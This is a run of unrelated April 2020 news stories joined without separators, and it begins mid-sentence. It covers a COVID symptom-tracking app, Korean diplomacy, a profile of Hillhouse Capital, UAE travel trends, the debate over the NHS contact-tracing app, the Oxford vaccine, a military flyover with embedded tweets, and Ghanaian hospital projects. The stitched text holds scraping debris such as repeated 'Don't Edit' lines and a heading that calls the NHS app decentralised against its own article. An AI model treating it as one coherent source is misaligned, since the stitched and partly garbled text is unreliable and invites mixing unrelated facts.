idea for How We Feel was born in mid-March, when it had become clear that SARS-CoV-2, the virus that causes COVID-19, was circulating within the United States, but testing to confirm infections remained limited. Zhang and a colleague at the University of Pennsylvania, Ophir Shalem, wondered if they could use a phone app to collect information on the next best thing: symptoms likely caused by infections. We thought if we can develop something that attracts a lot of users, we can start to get a sense for how widespread the virus is and provide that information to people who can use it." Feng Zhang, one of the app's developers and Howard Hughes Medical Institute Investigator at the Broad Institute and Massachusetts Institute of Technology Their app currently asks users to check in daily to answer a handful of questions about how they feel, any symptoms, their household, and their behavior. This data is aggregated and then shared with researchers and public health agencies. Since the How We Feel app's debut this month, nearly 150,000 people across the US have begun checking in daily. Credit: How We FeelTo build the app he envisioned, Zhang reached out to a friend from high school, Ben Silbermann, co-founder and CEO of Pinterest, a social media site and app where users share images. The two incorporated The How We Feel Project, and Silbermann recruited former and current employees from Pinterest to volunteer. The project now has more than a dozen scientific collaborators from fields including epidemiology, computational biology, and global health. With enough participation within an area, the data could potentially reveal emerging clusters of infections not detected by testing. Such an outbreak could show up as a spike in local users reporting combinations of COVID-19 symptoms such as dry cough, fever, and loss of smell, Zhang says. Researchers elsewhere in the world have launched similar efforts. Such surveys are not intended to replace testing people for SARS-CoV-2, according to Eran Segal, a computational biologist at Israel's Weizmann Institute of Science. However, "these questionnaires are the only tool that can present a general picture of the virus's outbreak across the country," he said in a statement. Segal, creator of Israel's Predict-Corona app, is working with Zhang to organize the Coronavirus Census Collective, an effort to set international standards and encourage collaboration that so far has 11 members. Another of Zhang's COVID-related projects grew out of his original research. His lab had already developed a rapid and inexpensive way to detect viral RNA, like that of Zika or Dengue, in blood or urine. Earlier this year, he adapted this approach to detect SARS-CoV-2 and offered the research protocol openly to other labs. His group has so far sent out materials for more than 4,000 of these SARS-CoV-2 tests to labs around the world, a number of which have used it successfully to detect the novel coronavirus. Now, researchers, including Zhang, are working to scale up and fully validate the test. "We want to make the reaction so easy to use that someone could do the test in their home to monitor themselves for infection," Zhang says. The need to reduce transmission of the virus has forced Zhang and his lab group, like many other scientists, to work mostly remotely. Now, the only lab-based experiments his team does are focused on SARS-CoV-2. He says the scientific community has massively mobilized to address the pandemic. "This viral outbreak has really brought everyone together," he says. "Everybody wants to do something to help and everyone is putting their brains together to come up with solutions." Source: Xinhua| 2020-04-28 14:22:35|Editor: huaxia Video Player Close SEOUL, April 28 (Xinhua) -- Top nuclear envoys of South Korea and the United States held phone talks over issues of the Korean Peninsula, Seoul's foreign ministry said Tuesday. Lee Do-hoon, South Korea's special representative for Korean Peninsula peace and security affairs, talked over phone with U.S. Deputy Secretary of State Stephen Biegun earlier in the day, the Seoul ministry said. Lee and Biegun shared assessments on the recent peninsula situations, exchanging opinions on ways to cooperate between the two countries in making a substantive progress for the peninsula's complete denuclearization and the permanent peace settlement. The two sides evaluated bilateral communication and consultation on the peninsula issues at each level, agreeing to continue close cooperation down the road, the Seoul ministry added. The phone talks came a day after South Korean President Moon Jae-in offered to the Democratic People's Republic of Korea (DPRK) resuming inter-Korean cooperation by jointly tackling the COVID-19 outbreak. Moon made the offer on the day to mark the second anniversary of the Panmunjom Declaration, which was signed by Moon and top DPRK leader Kim Jong Un after their first summit in April 2018 at the inter-Korean border village of Panmunjom. Enditem (Bloomberg) -- Just before the coronavirus-induced U.S. lockdowns began in March, some of the worlds investing elite gathered at an invite-only event in Silicon Valley. Representatives for super-rich families and endowments crowded into Vina Enoteca, an Italian restaurant right by the Stanford University campus. They were there to hear from Lei Zhang, the charismatic founder of Hillhouse Capital Management Ltd. and from some of his top investments, including Zoom Video Communications Inc.s Eric Yuan. In a packed room -- before social distancing became the norm -- Zhang and Yuan discussed how technology can change work-life balance. Neither could have predicted how much Covid-19 would change Zoom, or the world. One attendee said the evening was typical of his interactions with Hillhouse, with the rustic-chic eatery decked out in temporary drapes to maximize privacy: A mix of showmanship and exclusivity. Less than two decades after Zhang started Hillhouse with $20 million from Yale Universitys endowment, the 48-year-old has become an object of fascination to those in finance yet remains an enigma. The firm has mushroomed from a boutique hedge fund into a $60 billion behemoth thats made prescient bets on stocks, private equity and venture capital. For Yale, its among their most profitable investments. David Swensen, chief investment officer for the universitys endowment, said Hillhouse has generated $2.4 billion of gains for the school. Zhang is worth at least $5 billion, making him one of the worlds richest financiers, according to the Bloomberg Billionaires Index, and the firm is in no mood to retreat amid the pandemic. Hillhouse is seeking to raise as much as $13 billion from investors, according to people familiar with the matter, so its ready as the coronavirus-battered economy throws up opportunities. Zhang has also started accepting an increasing number of requests to invest in his hedge fund, the people said, asking not to be identified discussing confidential business. Story continues I can see why big institutions would be lining up, said Christopher Schelling, former director of private equity at the Texas Municipal Retirement System who recently joined Windmuehle Funds. Theyre super connected -- theres literally nothing that happens in China that they dont see. And their returns are incredible. Zhang, through a representative, declined to comment on his net worth and the firms fund raising plans. Hillhouse doesnt disclose performance figures but information from the University of Texass endowment shows that Gaoling had annualized gains of about 20% for the decade through June, net of fees, roughly double the MSCI World Index. The hedge fund is up this year after having one of its strongest years in 2019, a person familiar with its performance said. Swensen told Yale University alumni during a 2018 speech that Zhang was the preeminent fund manager in China. We took what some people would think is a big risk, Swensen said at the event. I didnt feel like it was a big risk because I knew this man. Zhang, a native of central Chinas Henan province, arrived at Yales business school after studying finance at Beijings Renmin University. At Yale, he got to know Swensen after interning in the investment office, volunteering to translate his 2000 book, Pioneering Portfolio Management, into Chinese. Eager to return to Asia, Zhang got a job in 2004 representing the New York Stock Exchange in China, putting him in front of emerging tech companies such as Tencent Holdings Ltd. and Baidu Inc. that later became his best early investments. The timing was perfect -- Chinas economy was taking off and some western institutions were being permitted to invest in the countrys publicly traded companies. When Zhang decided to launch an investment firm, Yale bankrolled him. Zhang named the company after a street in New Haven, Connecticut, near Yales investment office. His hedge fund Gaoling roughly translates to high view from the mountain top. He employed a buy-and-hold strategy and built a network among Chinas emerging tech entrepreneurs as well as with elite backers such as U.S. endowments. We dont think about it as investing in Asia, said Andy Golden, chief investment officer at Princeton Universitys endowment, another early Hillhouse backer. We think about it as investing in Lei doing what he does -- Lei and his team are brilliant. One of Hillhouses first big bets was Tencent -- Zhang believed its QQ instant messaging service was a more significant player in China than many realized. Tencent today is among the worlds most valuable companies, an internet and social media giant best known for its ubiquitous WeChat app. The bet on Tencent provided more than just financial returns. The two firms are so close theyve co-invested in at least 20 companies. Tencents influence can at times outweigh even private equity titans, due to the internet traffic and mobile users it brings to the table.Its a unique thing in China, said Xia Mingchen, co-head of Asia investments at Hamilton Lane Inc., which manages more than $66 billion and is a backer of Hillhouse. Some private equity funds, if they have a very strong relationship with a specific giant, they tend to co-invest, because they know each other very well, they trust each other and can have strategic partnerships. Online retailer JD.com Inc., which was private at the time, was another early big bet. Those investments came to define Hillhouse -- backing emerging consumer technology plays both in public and private markets. The firms assets today are about evenly split between private equity and public markets. Hillhouse has become Chinas flagship money manager for many Western institutions but its also racked up wins outside of the worlds second-largest economy. Zhang met with Zooms Yuan in Menlo Park, California, before an early funding round in February 2015. Yuan explained the business and his engineering work at another video conferencing site WebEx, according to a person familiar with the talks. Zhang soon made the investment, the person said, and added to its bet after the San Jose-headquartered firm went public last year. The stock has soared as global stay-home orders have fueled the need for its services. Other bets that have paid off include snack maker Bestore Co., a Wuhan-based company that sells cashews to preserved plums and beef jerky. It listed in February with its shares debuting 44% above their issue price. Hillhouse helped Bestore use big data to determine whether certain neighborhoods had sufficient demand and whether stores were running at full capacity. Another investment -- healthcare platform WeDoctor -- is expected to be one of Hong Kongs biggest share sales this year as it mulls raising as much as $1 billion. But not everything has been one way and a pair of high profile investors have pulled their money. Brown University and Soros Fund Management were early backers who later liquidated: the former after a change in chief investment officer in 2013 and the latter around the same time as it reassessed its Asia strategy, according to people familiar with the matter. Officials for both organizations declined to comment. For investments that have taken a hit during the virus outbreak, Hillhouse has tried to assist companies shift their strategy. For example, when Meicai, a $7 billion startup that supplies groceries to restaurants in China, saw business plummet, Hillhouse helped it switch to delivering groceries to individuals stranded at home. Hillhouse is also navigating Chinese markets scarred by accounting irregularities. One of its investments, Beijing-based TAL Education Group, said earlier this month that an employee wrongly inflated sales, sending the stock down 12% since. Still, the stock has surged more than 80% since the end of 2018. The spreading coronavirus has hurt some of its investments too. Uber Technologies Inc. has dropped about 33% since its May 2019 IPO, after the pandemic tanked rider demand and after earlier allegations of sexist behavior forced co-founder Travis Kalanick out of the company. And although China is slowly getting back to work, Covid-19 has blighted the outlook. The nations economy contracted for the first time in more than 40 years in the first quarter and private equity deals are in limbo with transactions poised to drop this year. Theres a reason Lei Zhang is regarded as among the sectors best executives, said Brock Silvers, chief investment officer of Adamas Asset Management Ltd. in Hong Kong. But not everything of late has gone according to plan. After the current pandemic passes, Chinas economy is unlikely to recover quickly. Moreover, a further U.S.-China split is at least highly plausible. Still, Hillhouse, with its gold-star backers, retains tremendous access to capital, and Zhang should be able to pivot off that, Silvers said. The last time Hillhouse raised money in 2018, it was inundated, raising $10.6 billion. Of the $13 billion Hillhouse is seeking this time, almost $10 billion will be allocated to buyouts, with the rest split between growth equity and venture, one of the people familiar with the matter said. Zhangs celebrity has flourished in Asia even as hes kept a lower profile outside of China. Long an unknown entity, hes become a frequent speaker at conferences and helped back a movie celebrating philosophy called Paths of the Soul, released in 2015. A Chinese idiom Zhang likes to reference is that of the peach tree and the plum tree. Both cant speak but their fruit and blossoms are so beautiful that followers will always trample a path beneath them. Yu Kai, whose artificial intelligence startup Horizon Robotics Inc. got multiple rounds of funding from Hillhouse, said Zhang is always reminding people not to do things that focus on the short term. He likes to quote a saying from a Ming Dynasty emperor, Yu said; Secure your food supplies; build your fortress. Do not rush to be king. (Updates with Meicai investment in 27th paragraph.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. A portrait of President Moon Jae-in, right, and North Korean leader Kim Jong-un is displayed at a gallery in Jung-gu, Seoul, on April 27, the second anniversary of the Panmunjeom Declaration. Yonhap By Do Je-hae President Moon Jae-in said Monday that the COVID-19 pandemic has opened up new opportunities for stalled inter-Korean cooperation, which he began promoting following the Panmunjeom Declaration announced after his summit with North Korean leader Kim Jong-un two years ago. Marking the second anniversary of the inter-Korean summit, Moon evaluated the "improvement in and challenges of" inter-Korean relations during the past two years. "We will pursue the most realistic and practical ways for inter-Korean cooperation. The COVID-19 crisis could be a new opportunity. For now this is the most urgent task for cooperation," Moon said during a meeting with senior aides at Cheong Wa Dae, according to press pool reports. "In March, Chairman Kim Jong-un sent a letter to comfort and support the South Korean people and I also responded to it. Starting with cooperation in response to COVID-19, we can also join forces on livestock epidemics as well as disasters near the border and climate change, which will hopefully result in active inter-Korean exchanges and cooperation." Since his New Year address, Moon said this year will be devoted to a strong push for inter-Korean cooperation despite the long deadlock in denuclearization negotiations between Pyongyang and Washington. For this, he has proposed joint projects in areas of sports, railroad and roads, culture and tourism, in addition to keeping up efforts to reopen the joint Industrial complex in the North Korean city of Gaeseong and tourism to Mount Geumgang, which were closed by previous conservative administrations. "It is not the lack of our resolve that has hampered the Panmunjeom Declaration from being implemented," Moon said. "It is because of the limitations imposed due to international circumstances. But we cannot wait indefinitely for conditions to improve. We must find and work together on things that can be done within realistic boundaries." The remarks came amid rising skepticism about the declaration, aimed at reducing military tension and laying the foundation for permanent peace on the Korean Peninsula. Critics point out that there has been no notable progress with North Korea's denuclearization, despite a series of summits between the two Koreas as well as North Korea and the U.S. since the Panmunjeom Declaration. But Moon stressed once again the significance of the declaration in the peace process on the peninsula. "The declaration led to the Sept. 19 inter-Korean joint declaration and an inter-Korean military agreement, which served as the starting point for bringing our relations to a new level and laid the foundation for the first-ever North Korea-U.S. summit," Moon said. A platform in Jejin station with a sign that says "in the direction of Mount Geumgang" Yonhap With people keen to get out of the house and take a break whilst flights are still grounded, and travel still restricted due to Covid-19, it looks likely that staycations will be a popular choice in the UAE, said a report. Looking at global travellers and the distance they plan on travelling for their upcoming trip to the UAE, it is suggested that as lockdown restrictions are lifted, domestic travel will be the first port of call, according to a Global Travel Insights report by Sojern, a leading performance marketing platform for travel brands. With many hotels offering free cancellations to encourage customers to book during this period, it is also possible that these figures include hopeful travellers who are planning low-risk trips. When comparing searches and bookings in January to those in March, there is an increase in the percentage of both when looking at a travel distance of up to 30 miles. This appears to be an almost direct swap from the chunk of international travel planned in January. The percentage of bookings to Abu Dhabi from within a 30 mile radius increased from just 20 per cent in January, to 43 per cent in March. Similarly with bookings to Dubai, the percentage rose from 19 per cent to 36 per cent. "Whilst we have observed a decline in the number of searches and bookings coming from travellers of international origins to the UAE, we get a more optimistic international picture when looking at searches for future departure dates. Taking France as an example, travel searches for February 2021 are up 28 per cent on those from the same 28 day period last year, the report said, Looking at flight searches from key international markets to the UAE, Dubai, and Abu Dhabi, although flight searches to the region remain down year-over-year, April searches shed some positive light on travellers plans to visit the UAE. As of April 5, searches to the UAE, Dubai, and Abu Dhabi start to look up. This provides optimism that the global intent to travel to the region remains and that although travellers have more confidence in booking local trips right now, international travel will follow. It is important not to isolate travellers from key international markets when thinking about a marketing strategy and brands should use this time to tailor messaging to remain top of mind for these searching travellers during this period in preparation for when recovery comes and people are ready to travel again. "As we see even more restrictions being lifted and borders reopening, we can expect to see some of these international searches turning into bookings," the report said. The beginning of the Holy Month of Ramadan on April 24 brought some welcome easing of the movement restrictions across the region. With the MEA restrictions being lifted late Thursday evening, we won't see the full impact in user intent or confidence immediately in the data, however we will be monitoring the trends closely particularly in relation to the Eid al-Fitr holiday which is expected to fall on May 24 this year, Sojern noted. With some of the most stringent lockdown measures in the world, South Africa has announced an easing of some restrictions beginning next month as a result of economic concerns. From May 1, selected businesses will be allowed to reopen with a third of their staff returning to work, and some schools will open with limited class sizes. Most people will be urged to remain at home and the country's borders will stay closed. Although measures are being loosened, travel is still restricted in the region which means travel trends remain similar to those seen last week. That said, when looking at a year-over-year comparison of global flight bookings to the Middle East and Africa (MEA), bookings to South Africa remained steady from January (when we started to see the global impact of Covid-19), through to the beginning of March. During this time, other key countries in the region saw less steady bookings, mostly seeing periodic or steady decline. Although like most countries in the region with bookings way below the levels of last year, South Africa is one of the few countries that has seen a gradual increase in bookings as of the beginning of April. This can also be said for Turkey, for which a slight uptick in bookings is beginning to develop. - TradeArabia News Service An NHS coronavirus contact tracing app for smartphones could be ready in a fortnight, a senior official revealed today. The app, which notifies users if they have been in close contact with an infected person, is currently being trialled at a Royal Air Force base in Yorkshire. Matthew Gould, chief executive of NHSX - the health service's technological arm - said tests were going well and it could be rolled out nationwide in two weeks. Users self-report coronavirus symptoms or log that they have been officially diagnosed, and the app alerts everyone who has come into contact with them. The app is considered crucial for helping ease social distancing restrictions and getting Britons back to work. It will be a key part of Health Secretary Matt Hancock's 'test, track and trace' initiative to get the UK out of lockdown, which will involve carrying out 100,000 swabs a day. But the app will need at least 60 per cent of the country to sign up for the app to be effective, according to epidemiologist. Downloading it will not be mandatory, so there are no guarantees that enough Britons will use it. An NHS coronavirus contact tracing app for smartphones could be ready in a fortnight, a senior official revealed today The app automatically notifies users if they have been in close contact with an infected person Mr Gould told a parliamentary committee today: 'We hope in the next couple of weeks we'll be in a position to roll it out in a small area. 'I would expect it technically to be ready for a wider deployment in two to three weeks.' A spokesman for Prime Minister Boris Johnson said the app was 'obviously a key part of the surveillance programme going forward', and that the government would set out more details when it could. For now, ministers were focused on keeping stringent social distancing measures in place to meet the government's five tests to start any easing, they added. HOW WOULD AN NHS CONTACT-TRACING APP WORK? According to the researchers, the app being developed by NHSX would likely work as follows: Users install the app on their smartphones. The app logs every time the device comes into close proximity of another app user's phone. Users exhibiting coronavirus symptoms self-report on the app. The app tells these users to self-isolate, along with their household. It also notifies any other users logged as having recently come into contact with them/ These users also isolate, along with their households, and so on. Advertisement The NHS app will work by recording every time two people are within a certain distance of each other for a prolonged period of time using Bluetooth technology. When one user registers themselves as being infected, or experiencing tell-tale symptoms, the app will automatically ping notifications to everyone who they could have passed it to. It might advise them to self-isolate or get tested, depending on their age and vulnerability. NHSX says the alerts will be sent anonymously so users do not know who may have infected them. Oxford University epidemiologist, Professor Christophe Fraser, said the app could prevent one infection for every one to two users who download it. But Professor Fraser - one of the epidemiologists advising NHSX - said 60 per cent of the UK population - or 40 million people - would need to download it for it to be effective. He said the app addresses the problem that around 50 per cent of transmissions occur before a person shows symptoms. Professor Fraser told BBC One's The Andrew Marr Show that traditional contact tracing methods would not be as effective as the NHS app. 'We found that when we projected over the next three months, for every one to two users who download the app and who adhere to instructions, you'll prevent one infection,' he said. Oxford University professor Christophe Fraser pictured speaking about the app on the Andrew Marr show on Sunday CONTACT TRACING REDUCES TIME IT TAKES TO ISOLATE AN INFECTED PATIENT BY TWO DAYS Contact tracing reduces the time taken to isolate people with COVID-19 by nearly two day, according to a Chinese study. Researchers from the Shenzhen Center for Disease Control and Prevention claim contact tracing reduced time taken to isolate infected people from an average of 4.6 days down to 2.7 days. The study was based on an analysis of 391 coronavirus cases and 1,286 of their close contacts in Shenzhen, China, over four weeks between January 14 and February 12. The disease prevention method also quickened the average time for new cases to be confirmed from 5.5 days to 3.2 days, it found. Advertisement 'For this intervention alone to stop resurgence of the epidemic, about 60 per cent of the population would have to use the app. 'Now that number may be a bit smaller if there are other interventions going on, which we hope there will be, social distancing, large community testing, and indeed manual contact tracing.' Professor Fraser said the app addresses the problem that around 50 per cent of transmissions occur before a person shows symptoms - calling it a 'very rapidly transmitted virus'. He said: 'The app is solving a specific problem, which is how do you get the message that you're at risk and empower you to take measures to protect your friends, your family, your colleagues and the people you have been in contact with.' NHSX has been working with Google and Apple to develop the app for both main smartphone operating systems - Android and IOS. But the NHS app is set to use a different model to the tech giants, despite concerns raised about privacy and performance. The NHS will use a centralised database to store users' information and send alerts when there has been a match. This is at odds with Apple and Google's 'decentralised' approach - where the matches take place on users' handsets. The tech firms believe their effort provides more privacy because it limits hackers or authorities from tracking specific individuals exact footsteps. But UK health bosses believe their centralised system will give the more insight into the spread of the virus. 'One of the advantages is that it's easier to audit the system and adapt it more quickly as scientific evidence accumulates,' Professor Christophe Fraser told the BBC. 'The principal aim is to give notifications to people who are most at risk of having got infected, and not to people who are much lower risk. It's probably easier to do that with a centralised system.' The centralised approach puts Britain at odds with many nations in Europe - including Switzerland, Estonia and Austria. Germany had been using the centralised system but has since switched back to a 'strongly decentralised approach', the Government there announced on Sunday. UK rejects the contact-tracing app proposed by Apple and Google in favour of a centralised tracking system - despite warnings it could be repurposed as a spying tool once the crisis is over The UK is once again bucking the trend in its quest to conquer coronavirus as it opts not to use the framework created by Apple and Google for its NHS coronavirus contact-tracing app. Instead, NHSX is creating a centralised version that strays from the Apple-Google model. NHS officials hope their app will provide better insight into the spread of COVID-19 and help flatten the curve of the ongoing coronavirus crisis. But security experts warn the method has significant privacy implications, could upset the tech firms and provide the blueprint for unethical mass surveillance once the pandemic ends. Apple and Google, along with GCHQ's National Cyber Security Centre and the National Cyber Security Centre (NCSC) are still assisting and advising on the app, according to reports. The UK is once again bucking the trend in its quest to conquer coronavirus as it opts not to use the framework created by Apple and Google. NHS officials hope their method will provide better insight into the spread of COVID-19 and improve treatment and diagnostics Battery life implications of the NHS's decentralised NHS contact tracing coronavirus app The system built by Apple and Google was intended to be energy efficient and it was hoped this would preserve battery life. Apple allowed phones using its API - application programming interface - to conduct Bluetooth 'handshakes' in the background. In this process, a phone regularly changes its unique ID. The phone will also store IDs of phones it has come into contact with. This is all done with the app lying dormant and not having to wake up. If someone is found to have COVID-19 they would input a code into their app and this authorises the automatic dispersal of a notification to any people who may be affected. This was all authorised by Apple and Google to streamline the process and make it as smooth a possible. However, in the NHS's centralised app, which goes against the grain of what Apple and Google created, the app running in the background must be 'woke up' every time a Bluetooth connection to another device is made. This uses energy. Some inherent code will then run, logging the interaction and storing the appropriate IDs. It will then go back to its dormant state. Apple's exchange of data via the Bluetooth 'handshake' is also quicker than the version being built by the NHS, further adding to the battery life disparity. Australia appears to have avoided staying within the confines of the Google-Apple API but has acknowledged notable power consumption problems. The Australian government has also admitted issues with the app working properly if the phone is using its Bluetooth for other purposes - such as speakers etc. Advertisement Google and Apple joined forces earlier this month and announced they were combining expertise to turn smartphones into a coronavirus-fighting resource. The unprecedented collaboration comes from two companies that both place a high-value on the privacy of users. As a result, their system, which was designed to work optimally on both iOS and Android, is decentralised. No movement or tracking information will be stored on a server and therefore it is invisible to Google, Apple and the NHS. Bluetooth in a person's phone will be used to detect when people are close enough to be considered to be interacting. If one person develops symptoms of the coronavirus or tests positive, they will be able to enter this information into the app. The phone will then send out a notification to all the devices it has previously come into contact with in the infection window to make people aware they may have been exposed to COVID-19. The process is confined to the individual's handset and the scope of the information sent to the NHS is strictly limited. However, the method proposed by NHSX focuses on a centralised scheme. In it, the data is still collected via Bluetooth but any interactions between people is recorded by the phone and then sent back to a server run by the NHS. Here, all data on all movements will be kept. This level of data collection on a person's movements is fraught with hazards, experts claim. The NHS, unsurprisingly, is facing questions as to why it needs to develop the app in this manner when other countries are plumping for the privacy-centric alternative. In a weekend blog post, NHSX writes: 'The data will only ever be used for NHS care, management, evaluation and research. 'You will always be able to delete the app and all associated data whenever you want. We will always comply with the law around the use of your data, including the Data Protection Act and will explain how we intend to use it. 'We will be totally open and transparent about your choices in the app and what they mean. 'If we make any changes to how the app works over time, we will explain in plain English why those changes were made and what they mean for you. Your privacy is crucial to the NHS, and so while these are unusual times, we are acutely aware of our obligations to you.' The security and privacy issues have been sized up and balanced against potential public health benefits and the officials in charge of the UK's coronavirus response deem the centralised app a necessary step. The health gains they expect to come from data analysis could save lives and this, in the eyes of the health officials, outweighs any privacy quandary. A centralised app run by the NHS with expert assistance may provide invaluable insight into how COVID-19 is spread. Professor Christopher Fraser, one of the epidemiologists advising NHSX, explained to the BBC: 'One of the advantages is that it's easier to audit the system and adapt it more quickly as scientific evidence accumulates. 'The principal aim is to give notifications to people who are most at risk of having got infected, and not to people who are much lower risk. 'It's probably easier to do that with a centralised system.' At a meeting of the Science and Technology Committee held today, it was revealed the NHS app will likely be rolled out in two to three weeks, but a trial with a small amount of people in a very localised, and yet undisclosed, area will test the app first. NHSX chief executive Matthew Gould also said talks are still being held with Google and Apple, despite the decision to move to a centralised version of the app. Germany had previously sided with Britain and hoped to create its own centralised app. But on Sunday the German government performed a dramatic U-turn and is now heading towards a decentralised version. It also leaves the UK at odds with Switzerland, Austria, a pan-European group called DP3T and the tech-savvy Estonians who are all backing a decentralised app, as advocated by Google and Apple. In Europe, only France, and now Britain, have come out as supporters of a centralised system. Australia, it is believed, is also running a centralised app. Professor Alan Woodward, from the Surrey Centre for Cyber Security at the University of Surrey mentions the fact Apple and Google do not want to assist in developing a system which effectively tracks users as it could later be adopted and tweaked to spy on people en masse. He told PA news agency: 'There may be some pushback, I think the simple way to put it because what Apple does not want is somebody building a system that could be used as a tracking system, a generalised tracking system. 'So, repurposing the technology, later on, for example never mind now in this emergency of the data collected but could someone, later on, build technology along the same principles just to use Bluetooth to track people? 'And the whole point was, iOS particularly was built, and Android's later versions, are built so that you cannot do that. 'They (Apple and Google) know that their customer base is global, it's not just the US or the UK or European, it's all over the world, so they want their users to not think that governments can somehow subvert their operating systems to become trackers. 'So there is a bit of a danger it might get some pushback. 'And I think, if the UK Government are going to sell this to the public, they have to have those epidemiologists, the public health people, out, front and centre, justifying why they need that data.' A running start for a vaccine at Oxford Heres promising news in the worldwide race to develop a vaccine to ward off the coronavirus. The Jenner Institute at Oxford University has one that seems to work in lab animals and is ready to test its effectiveness in humans, if regulators approve. The institute had a big head start, our correspondent David D. Kirkpatrick reports. Its scientists had an approach that they already knew was safe: They had proved it in trials last year for a vaccine to fight MERS, a respiratory disease caused by a closely related virus. That has enabled the institute to skip ahead and schedule tests of its new Covid-19 vaccine on more than 6,000 people by the end of May, hoping to show not only that it is safe, but also that it works. Scientists at the National Institutes of Healths Rocky Mountain Laboratory in Montana got very good results when they tried out the Oxford vaccine last month on six rhesus macaque monkeys. The animals were then exposed to heavy quantities of the coronavirus. After more than four weeks, all six were still healthy. A show of appreciation for health care workers battling the coronavirus soared through New Jersey's skies Tuesday afternoon. Twelve high-performance aircraft with the U.S. Navy Blue Angles and Air Force Thunderbirds planned two flyovers over the New Jersey and New York area in precise formation to salute those working on the frontlines against COVID-19. The first flyover in northern New Jersey and New York City kicked off at noon and will be followed by another flyover in Trenton and Philadelphia. Social media lit up with stunning images and videos as the planes roared through the skylines. Stay strong COVID-19 frontline workers! Thank you for everything! #America Posted by Kurt Steinbruch on Tuesday, April 28, 2020 Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit Don't Edit A pretty sizable crowd at Riverview Park in Jersey City Heights to watch the #blueangels flyover, but most seem to be doing a good job of maintaining 6 feet pic.twitter.com/3xdFr9uIs8 Caitlin Duffy (@cait_duffy) April 28, 2020 Don't Edit Glimpse of the Blue Angels from Jersey City. pic.twitter.com/oD4DAZyGdH Kevin Rincon (@KevRincon) April 28, 2020 Don't Edit The Blue Angels thanking our Health Care and all Essential workers with a flyover the Hudson River in Jersey City. Thank you for your service. pic.twitter.com/66IYcnIHLs Lou Sylvester (@NWRSylvester) April 28, 2020 Don't Edit Amazing!!! An unexpected treat in Newark. pic.twitter.com/mcDXIO1siO Monica Guy (@monicaguynews1) April 28, 2020 Don't Edit Don't Edit Don't Edit Don't Edit The little kid in me who idolized the thunderbirds and blue angels is loving this pic.twitter.com/Cqmn3MxYs8 Michael Sol Warren (@MSolDub) April 28, 2020 Don't Edit Super cool to be able to hang out of my apartment window and watch the @BlueAngels and @AFThunderbirds fly over Newark! #AmericaStrong pic.twitter.com/vPWhd0qIVu Gina Lipere (@GinaLipere) April 28, 2020 Don't Edit Don't Edit Don't Edit Blue Angels and Thunderbirds fly over Haddonfield, NJ in Camden County. pic.twitter.com/MQFkP4Qh9D George Woolston (@gcwoolston) April 28, 2020 Don't Edit Blue Angels fly over philly and south jersey. Great view from our front step pic.twitter.com/YueuqFBKV3 Dr. Danna Young (@dannagal) April 28, 2020 Don't Edit The @BlueAngels and Thunderbirds just flew over Camden City and New Jerseys 5th District! The Philly skyline is in background across the Delaware River. #flyover pic.twitter.com/L0RbSkhsAw Assemblyman Bill Moen (@BillMoen) April 28, 2020 Don't Edit Don't Edit The @AFThunderbirds & @BlueAngels flyover Philly and South Jersey to thank our healthcare & essential workers #AmericaStrong pic.twitter.com/Rb4imPdKC4 Jim Donovan (@jimdonovancbs3) April 28, 2020 Don't Edit Information Minister, Kojo Oppong Nkrumah has debunked claims that the Akufo-Addo led administration has abandoned hospital projects started by the erstwhile Mahama administration. Speaking on Accra based radio station, Citi FM, he said most of the projects are still work in progress and that some are faced with finance modelling difficulties. Background President Nana Akufo-Addo on Sunday, April 26, 2020, during his national address to update the nation on the Covid-19 pandemic, said the disease has not only disrupted peoples lives, but it had also exposed deficiencies in the countrys healthcare system, because of years of under-investment. Also, the virus had revealed the unequal distribution of healthcare facilities, as the focus of infrastructure had been on Accra and one or two of our other big cities. To help improve upon the existing situation, the President announced that the government had decided to undertake a major investment in the healthcare infrastructure, which will be the largest in the countrys history. This, he said will involve the construction of 88 hospitals in the districts without hospitals. The President added that each of the facilities would be a quality, standard-design, one hundred-bed hospital, with accommodation for doctors, nurses and other health workers. This announcement has generated public discussions about some hospital projects started by previous governments which have not been completed or have been abandoned apparently, while new health projects are being promised by the current government. Explanation But the Information Minister said the claim of abandonment is false and said a press conference will be held on Tuesday to update the country on the projects. The unfinished hospitals largely remain work in progress and we will give an update on where we picked them from and how far we have come with them. He explained that, There are some that we have finished and opened up, some are near completion and some have gotten into financial and contractual difficulties because of some issues associated with them. We will also give dates on when those in progress will be finished. It is to make the point that, some may be uncompleted still but they are not abandoned, it is work in progress, it will be finished by a particular time. Some of these projects were even started during former President John Agyekum Kufuors time and it wasnt completed in the 8 years not because the government was wicked and sort to abandon them but the module financing around them is the problem, the Minister said. Source: Daily Graphic Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video